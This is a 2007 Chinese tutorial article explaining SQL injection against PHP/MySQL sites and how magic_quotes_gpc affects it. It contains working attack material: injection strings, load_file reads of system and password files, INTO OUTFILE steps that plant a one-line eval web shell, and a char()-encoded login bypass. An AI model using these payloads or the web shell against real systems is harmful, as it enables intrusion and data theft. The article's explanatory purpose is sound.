首页 > 安全 > 网站安全 >

Php注入原理

2007-10-27

http://blog.csdn.net/kzh4435Php的环境一般是apache+php+mysql,平常配置服务器一般是打开php.ini里的安全模式,将safe_mode设为on,还有就是将display_erors设为off,即关闭错误显示。还有一个非常重要的配置选项-----magic_quotes_gpc,

http://blog.csdn.net/kzh4435

Php的环境一般是apache+php+mysql,平常配置服务器一般是打开php.ini里的安全模式,将safe_mode设为on,还有就是将display_erors设为off,即关闭错误显示。还有一个非常重要的配置选项-----magic_quotes_gpc,高版本默认为on,以前的版本中默认为off。当magic_quotes_gpc为on的时候我们怎么防范php的字符变量注入呢?其实只需将提交的变量中的所有单引号、双引号、反斜线和空字告符自动转换为含有反斜线的转义字符。如把“’”变成“”,把“”变成“\”,就ok了。下面我们分为对magic_quotes_gpc=off和magic_quotes_gpc=on的注入清况分析一下。
我们先看一段有漏洞的php代码,这段代码是用来搜索的。
<form method=”post” action=”<? Echo $php_ifo; ? >”>
<input type=”text” name=”search”><br>
<input type=”submit” value=”search”>
</form>
<?php
……
Select * from users where username like ‘%$search%’ order by username
……
?>
从上面代码中我们可以看出,是一个搜索表单,通过post提交数据,并进行select查询,当然要分析这些漏洞我们得先掌握php语言和mysql语法。如果我们从表单中提交%’ order by id#(#号在mysql中表示注释,不执行后面的sql语句),或者用’ order by id#,带入的sql语句就成了select * from user where username like ‘% %’ order by id# order by username 和 select * from users where username like ‘%%’ order by id# order by username。这样数据库的内容会全部返回,列出所有用户名,还有密码等。当然还有update 语句注入攻击、insert语句注入攻击等,最常用的是union语法注入,采用into outfile语句导出php脚本木马。
首先要清楚一些mysql语句,如mysql>select load_file(‘c:/boot.ini’)我们可以查看c盘下的boot.ini文件内容,在有注入点的网址后面加入该查询语句就可以显示出黑客们想获得的敏感信息,如查看数据库的连接文件获得数据库帐号,查看ect/password信息等。Select * from table into outfile "C:\Inetpub\wwwroot\shell.php";也就是从表中导出字符串到C:Inetpubwwwrootshell.php中,通常黑客们在得到mysql帐号的情况下,利用create table rose(cmd text);建立一个rose表,字段cmd为text类型,然后用use rose;打开rose表,insert into rose values("<?php eval($_POST[cmd]);?> ")加入一句话马到字段里。然后select * from rose into outfile "C:\Inetpub\wwwroot\shell.php";将一句话木马导出为一个shell.php文件,当然这个shell.php中就包含<?php eval($_POST[cmd]);?>,懂php的都知道这句会造成什么后果,配合提交参数,是可以执行cmd命令和上传php木马的。
当magic_quotes_gpc=on时,提交变量中的所有单引号、双引号、反斜线和空字符会自动转换为含有反斜线的转义字符,字符型的注入可以防范,但数字型没有用到单引号,字符型注入也可以通过char()将参数解释为整数,并返回由这些整数的ASCII码字符组成的一个字符串,也可以用16进制来代替字符。例如:在浏览器里输入http://localhost/www/admin/login.php?username=char(114,111,115,101)%23
上面假设的我们知道的用户名是rose,转换成ASCII后是char(114,111,115,101),%23是#号
表注释。那么sql语句变成:select * from example where username=char(114,111,115,101)# and password=’’,后面的and password=’’被注释掉了,我们顺利进入后台。

相关文章
最新文章
热点推荐